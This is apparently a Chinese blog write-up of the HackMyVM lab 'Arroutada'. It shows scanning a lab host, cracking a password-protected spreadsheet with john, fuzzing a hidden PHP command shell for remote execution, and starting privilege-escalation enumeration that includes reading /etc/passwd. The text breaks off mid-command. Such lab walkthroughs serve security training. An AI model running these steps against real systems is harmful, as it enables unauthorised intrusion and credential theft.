{"id":647,"date":"2024-04-27T17:40:58","date_gmt":"2024-04-27T09:40:58","guid":{"rendered":"http:\/\/162.14.82.114\/?p=647"},"modified":"2024-04-27T17:40:58","modified_gmt":"2024-04-27T09:40:58","slug":"hmv-_-arroutada","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/647\/04\/27\/2024\/","title":{"rendered":"hmv[-_-]Arroutada"},"content":{"rendered":"<h1>Arroutada<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734638.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734638.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427122650508\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734639.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734639.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427163455727\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ rustscan -a 192.168.0.147 -- -A\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nReal hackers hack time \u231b\n\n[~] The config file is expected to be at &quot;\/home\/kali\/.rustscan.toml&quot;\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan&#039;s speed. Use the Docker image, or up the Ulimit with &#039;--ulimit 5000&#039;. \nOpen 192.168.0.147:80\n\nPORT   STATE SERVICE REASON  VERSION\n80\/tcp open  http    syn-ack Apache httpd 2.4.54 ((Debian))\n| http-methods: \n|_  Supported Methods: POST OPTIONS HEAD GET\n|_http-server-header: Apache\/2.4.54 (Debian)\n|_http-title: Site doesn&#039;t have a title (text\/html).<\/code><\/pre>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ gobuster dir -u http:\/\/192.168.0.147\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,jpg,txt,html\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.0.147\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              bak,jpg,txt,html,php,zip\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.html           (Status: 200) [Size: 59]\n\/.html                (Status: 403) [Size: 278]\n\/.php                 (Status: 403) [Size: 278]\n\/imgs                 (Status: 301) [Size: 313] [--&gt; http:\/\/192.168.0.147\/imgs\/]\n\/scout                (Status: 301) [Size: 314] [--&gt; http:\/\/192.168.0.147\/scout\/]\n\/.html                (Status: 403) [Size: 278]\n\/.php                 (Status: 403) [Size: 278]\n\/server-status        (Status: 403) [Size: 278]\nProgress: 1543920 \/ 1543927 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n<h2>\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>\u8e29\u70b9<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734640.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734640.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427163653649\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>\u654f\u611f\u76ee\u5f55<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ curl http:\/\/192.168.0.147\/scout\/ | uniq \n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100   779  100   779    0     0   334k      0 --:--:-- --:--:-- --:--:--  380k\n\n&lt;div&gt;\n&lt;p&gt;\nHi, Telly,\n&lt;br&gt;\nI just remembered that we had a folder with some important shared documents. The problem is that I don&#039;t know wich first path it was in, but I do know the second path. Graphically represented:\n&lt;br&gt;\n\/scout\/******\/docs\/\n&lt;br&gt;\nWith continued gratitude,\n&lt;br&gt;\nJ1.\n&lt;\/p&gt;\n&lt;\/div&gt;\n&lt;!-- Stop please --&gt;\n\n&lt;!-- I told you to stop checking on me! --&gt;\n\n&lt;!-- OK... I&#039;m just J1, the boss. --&gt;<\/code><\/pre>\n<p>\u7ee7\u7eed\u63a2\u67e5\u4e00\u4e0b\u4e8c\u7ea7\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ feroxbuster -u http:\/\/192.168.0.147\/scout\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -d 3 -s 200 301 302\n ___  ___  __   __     __      __         __   ___\n|__  |__  |__) |__) | \/  `    \/  \\ \\_\/ | |  \\ |__\n|    |___ |  \\ |  \\ | \\__,    \\__\/ \/ \\ | |__\/ |___\nby Ben &quot;epi&quot; Risher \ud83e\udd13                 ver: 2.10.2\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n \ud83c\udfaf  Target Url            \u2502 http:\/\/192.168.0.147\/scout\/\n \ud83d\ude80  Threads               \u2502 50\n \ud83d\udcd6  Wordlist              \u2502 \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n \ud83d\udc4c  Status Codes          \u2502 [200, 301, 302]\n \ud83d\udca5  Timeout (secs)        \u2502 7\n \ud83e\udda1  User-Agent            \u2502 feroxbuster\/2.10.2\n \ud83d\udc89  Config File           \u2502 \/etc\/feroxbuster\/ferox-config.toml\n \ud83d\udd0e  Extract Links         \u2502 true\n \ud83c\udfc1  HTTP methods          \u2502 [GET]\n \ud83d\udd03  Recursion Depth       \u2502 3\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n \ud83c\udfc1  Press [ENTER] to use the Scan Management Menu\u2122\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n200      GET      388l       74w      779c http:\/\/192.168.0.147\/scout\/\n301      GET        9l       28w      322c http:\/\/192.168.0.147\/scout\/content =&gt; http:\/\/192.168.0.147\/scout\/content\/\n301      GET        9l       28w      319c http:\/\/192.168.0.147\/scout\/data =&gt; http:\/\/192.168.0.147\/scout\/data\/\n301      GET        9l       28w      319c http:\/\/192.168.0.147\/scout\/java =&gt; http:\/\/192.168.0.147\/scout\/java\/\n301      GET        9l       28w      318c http:\/\/192.168.0.147\/scout\/img =&gt; http:\/\/192.168.0.147\/scout\/img\/\n301      GET        9l       28w      323c http:\/\/192.168.0.147\/scout\/exploits =&gt; http:\/\/192.168.0.147\/scout\/exploits\/\n301      GET        9l       28w      316c http:\/\/192.168.0.147\/scout\/1 =&gt; http:\/\/192.168.0.147\/scout\/1\/\n301      GET        9l       28w      320c http:\/\/192.168.0.147\/scout\/links =&gt; http:\/\/192.168.0.147\/scout\/links\/\n301      GET        9l       28w      323c http:\/\/192.168.0.147\/scout\/download =&gt; http:\/\/192.168.0.147\/scout\/download\/\n301      GET        9l       28w      319c http:\/\/192.168.0.147\/scout\/html =&gt; http:\/\/192.168.0.147\/scout\/html\/\n301      GET        9l       28w      317c http:\/\/192.168.0.147\/scout\/j1 =&gt; http:\/\/192.168.0.147\/scout\/j1\/\n301      GET        9l       28w      319c http:\/\/192.168.0.147\/scout\/scan =&gt; http:\/\/192.168.0.147\/scout\/scan\/\n301      GET        9l       28w      317c http:\/\/192.168.0.147\/scout\/j2 =&gt; http:\/\/192.168.0.147\/scout\/j2\/\n301      GET        9l       28w      322c http:\/\/192.168.0.147\/scout\/j2\/docs =&gt; http:\/\/192.168.0.147\/scout\/j2\/docs\/\n..........\n200      GET       39l      207w    19981c http:\/\/192.168.0.147\/scout\/j2\/docs\/shellfile.ods\n..........\n200      GET        2l        4w       27c http:\/\/192.168.0.147\/scout\/j2\/docs\/z206\n..........\n200      GET        1l        1w       14c http:\/\/192.168.0.147\/scout\/j2\/docs\/pass.txt\n..........\n200      GET        0l        0w        0c http:\/\/192.168.0.147\/scout\/j2\/docs\/z131\n200      GET        0l        0w        0c http:\/\/192.168.0.147\/scout\/j2\/docs\/z655\n301      GET        9l       28w      318c http:\/\/192.168.0.147\/scout\/bye =&gt; http:\/\/192.168.0.147\/scout\/bye\/\n301      GET        9l       28w      320c http:\/\/192.168.0.147\/scout\/spell =&gt; http:\/\/192.168.0.147\/scout\/spell\/<\/code><\/pre>\n<p>\u5176\u4ed6\u6587\u4ef6\u5927\u5c0f\u90fd\u662f0\uff0c\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e9b\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ curl http:\/\/192.168.0.147\/scout\/j2\/docs\/pass.txt\nuser:password\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ curl http:\/\/192.168.0.147\/scout\/j2\/docs\/z206    \nIgnore z*, please\nJabatito\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ wget http:\/\/192.168.0.147\/scout\/j2\/docs\/shellfile.ods                \n--2024-04-27 04:48:44--  http:\/\/192.168.0.147\/scout\/j2\/docs\/shellfile.ods\nConnecting to 192.168.0.147:80... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 11821 (12K) [application\/vnd.oasis.opendocument.spreadsheet]\nSaving to: \u2018shellfile.ods\u2019\n\nshellfile.ods                         100%[=========================================================================&gt;]  11.54K  --.-KB\/s    in 0s      \n\n2024-04-27 04:48:44 (871 MB\/s) - \u2018shellfile.ods\u2019 saved [11821\/11821]\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ file shellfile.ods                                                                                                            \nshellfile.ods: OpenDocument Spreadsheet<\/code><\/pre>\n<h3>\u5c1d\u8bd5\u7206\u7834ods<\/h3>\n<blockquote>\n<p>ODS is <strong>a type of Open Document Format for Office Applications<\/strong>. It stores data in cells that are organized into rows and columns. ODS files can also be opened in Microsoft Excel and saved as XLS or XLSX files.<\/p>\n<\/blockquote>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734641.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734641.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427165412259\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u7834\u89e3\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734642.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734642.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427170003771\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u7206\u7834\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ john hash -w=\/usr\/share\/wordlists\/rockyou.txt \nUsing default input encoding: UTF-8\nLoaded 1 password hash (ODF, OpenDocument Star\/Libre\/OpenOffice [PBKDF2-SHA1 256\/256 AVX2 8x BF\/AES])\nCost 1 (iteration count) is 100000 for all loaded hashes\nCost 2 (crypto [0=Blowfish 1=AES]) is 1 for all loaded hashes\nWill run 2 OpenMP threads\nPress &#039;q&#039; or Ctrl-C to abort, almost any other key for status\njohn11           (shellfile.ods)     \n1g 0:00:01:23 DONE (2024-04-27 05:02) 0.01192g\/s 197.0p\/s 197.0c\/s 197.0C\/s lachina..iloveyou18\nUse the &quot;--show --format=ODF&quot; options to display all of the cracked passwords reliably\nSession completed.<\/code><\/pre>\n<p><a href=\"https:\/\/products.aspose.app\/cells\/unlock\/ods\">\u5728\u7ebf\u89e3\u5bc6<\/a>\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734644.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734644.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427170534307\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u4e86\u76ee\u5f55<code>\/thejabasshell.php<\/code><\/p>\n<h3>FUZZ<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ curl http:\/\/192.168.0.147\/thejabasshell.php<\/code><\/pre>\n<p>\u6ca1\u6709\u56de\u5e94\uff0c\u5c1d\u8bd5\u4e00\u4e0bfuzz\u76f8\u5173\u53c2\u6570\u3002<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ ffuf -w \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-medium-directories-lowercase.txt -u http:\/\/192.168.0.147\/thejabasshell.php?FUZZ=whoami -fw 1\n\n        \/&#039;___\\  \/&#039;___\\           \/&#039;___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http:\/\/192.168.0.147\/thejabasshell.php?FUZZ=whoami\n :: Wordlist         : FUZZ: \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-medium-directories-lowercase.txt\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n :: Filter           : Response words: 1\n________________________________________________\n\na                       [Status: 200, Size: 33, Words: 5, Lines: 1, Duration: 1ms]\n:: Progress: [26584\/26584] :: Job [1\/1] :: 619 req\/sec :: Duration: [0:00:04] :: Errors: 2 ::<\/code><\/pre>\n<p>\u5c1d\u8bd5\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ curl http:\/\/192.168.0.147\/thejabasshell.php?a=whoami                                                                                         \nError: Problem with parameter &quot;b&quot;  <\/code><\/pre>\n<p>\u8fd8\u6709\u4e2a\u53c2\u6570\uff0c\u5c1d\u8bd5\u7ee7\u7eedfuzz\uff01<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ ffuf -w \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-medium-directories-lowercase.txt -u &#039;http:\/\/192.168.0.147\/thejabasshell.php?a=whoami&amp;b=FUZZ&#039;  -fw 5\n\n        \/&#039;___\\  \/&#039;___\\           \/&#039;___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http:\/\/192.168.0.147\/thejabasshell.php?a=whoami&amp;b=FUZZ\n :: Wordlist         : FUZZ: \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-medium-directories-lowercase.txt\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n :: Filter           : Response words: 5\n________________________________________________\n\npass                    [Status: 200, Size: 9, Words: 1, Lines: 2, Duration: 16ms]\n:: Progress: [26584\/26584] :: Job [1\/1] :: 457 req\/sec :: Duration: [0:00:04] :: Errors: 2 ::<\/code><\/pre>\n<p>\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Arroutada]\n\u2514\u2500$ curl http:\/\/192.168.0.147\/thejabasshell.php?a=whoami&amp;b=pass[3] 132213\n\nError: Problem with parameter &quot;b&quot;[3]    done       curl http:\/\/192.168.0.147\/thejabasshell.php?a=whoami<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734645.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734645.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427171223436\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6267\u884c\u4e86\u76f8\u5173\u547d\u4ee4\uff01\u53cd\u5f39shell\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734646.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404271734646.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427171357651\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u4fe1\u606f\u641c\u96c6<\/h3>\n<pre><code class=\"language-bash\">(remote) www-data@arroutada:\/var\/www\/html$ sudo -l\n\nWe trust you have received the usual lecture from the local System\nAdministrator. It usually boils down to these three things:\n\n    #1) Respect the privacy of others.\n    #2) Think before you type.\n    #3) With great power comes great responsibility.\n\n[sudo] password for www-data: \nsudo: a password is required\n(remote) www-data@arroutada:\/var\/www\/html$ ls -la\ntotal 24\ndrwxr-xr-x  4 root root 4096 Jan  8  2023 .\ndrwxr-xr-x  3 root root 4096 Jan  8  2023 ..\ndrwxr-xr-x  2 root root 4096 Jan  8  2023 imgs\n-rw-r--r--  1 root root   59 Jan  8  2023 index.html\ndrwxr-xr-x 22 root root 4096 Jan  8  2023 scout\n-rw-r--r--  1 root root  174 Jan  8  2023 thejabasshell.php\n(remote) www-data@arroutada:\/var\/www\/html$ cd ..\/\n(remote) www-data@arroutada:\/var\/www$ ls\nhtml\n(remote) www-data@arroutada:\/var\/www$ ls -la\ntotal 12\ndrwxr-xr-x  3 root root 4096 Jan  8  2023 .\ndrwxr-xr-x 12 root root 4096 Jan  8  2023 ..\ndrwxr-xr-x  4 root root 4096 Jan  8  2023 html\n(remote) www-data@arroutada:\/var\/www$ cd ..\n(remote) www-data@arroutada:\/var$ ls -la\ntotal 48\ndrwxr-xr-x 12 root root  4096 Jan  8  2023 .\ndrwxr-xr-x 18 root root  4096 Jan  8  2023 ..\ndrwxr-xr-x  2 root root  4096 Apr 27 04:18 backups\ndrwxr-xr-x 10 root root  4096 Jan  8  2023 cache\ndrwxr-xr-x 26 root root  4096 Jan  8  2023 lib\ndrwxrwsr-x  2 root staff 4096 Sep  3  2022 local\nlrwxrwxrwx  1 root root     9 Jan  8  2023 lock -&gt; \/run\/lock\ndrwxr-xr-x  8 root root  4096 Jan  8  2023 log\ndrwxrwsr-x  2 root mail  4096 Jan  8  2023 mail\ndrwxr-xr-x  2 root root  4096 Jan  8  2023 opt\nlrwxrwxrwx  1 root root     4 Jan  8  2023 run -&gt; \/run\ndrwxr-xr-x  4 root root  4096 Jan  8  2023 spool\ndrwxrwxrwt  2 root root  4096 Apr 27 04:15 tmp\ndrwxr-xr-x  3 root root  4096 Jan  8  2023 www\n(remote) www-data@arroutada:\/var$ cd backups\/\n(remote) www-data@arroutada:\/var\/backups$ ls -la\ntotal 20\ndrwxr-xr-x  2 root root 4096 Apr 27 04:18 .\ndrwxr-xr-x 12 root root 4096 Jan  8  2023 ..\n-rw-r--r--  1 root root 9034 Jan 10  2023 apt.extended_states.0\n(remote) www-data@arroutada:\/var\/backups$ ls -la \/home \ntotal 12\ndrwxr-xr-x  3 root  root  4096 Jan  8  2023 .\ndrwxr-xr-x 18 root  root  4096 Jan  8  2023 ..\ndrwxr-x---  3 drito drito 4096 Jan 10  2023 drito\n(remote) www-data@arroutada:\/var\/backups$ cat \/etc\/passwd | grep &quot;bash&quot;\nroot:x:0:0:root:\/root:\/bin\/bash\ndrito:x:1001:1001::\/home\/drito:\/bin\/bash\n(remote) www-data@arroutada:\/var\/backups$ find \/ -perm -u=s -type f 2&gt;\/dev\/null\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/bin\/sudo\n\/usr\/bin\/newgrp\n\/usr\/bin\/gpasswd\n\/usr\/bin\/su\n\/usr\/bin\/passwd\n\/usr\/bin\/umount\n\/usr\/bin\/mount\n\/usr\/bin\/chfn\n\/usr\/bin\/chsh\n(remote) www-data@arroutada:\/var\/backups$ \/usr\/sbin\/getcap -r \/ 2&gt;\/dev\/null\n\/usr\/bin\/ping cap_net_raw=ep\n(remote) www-data@arroutada:\/var\/backups$ ss 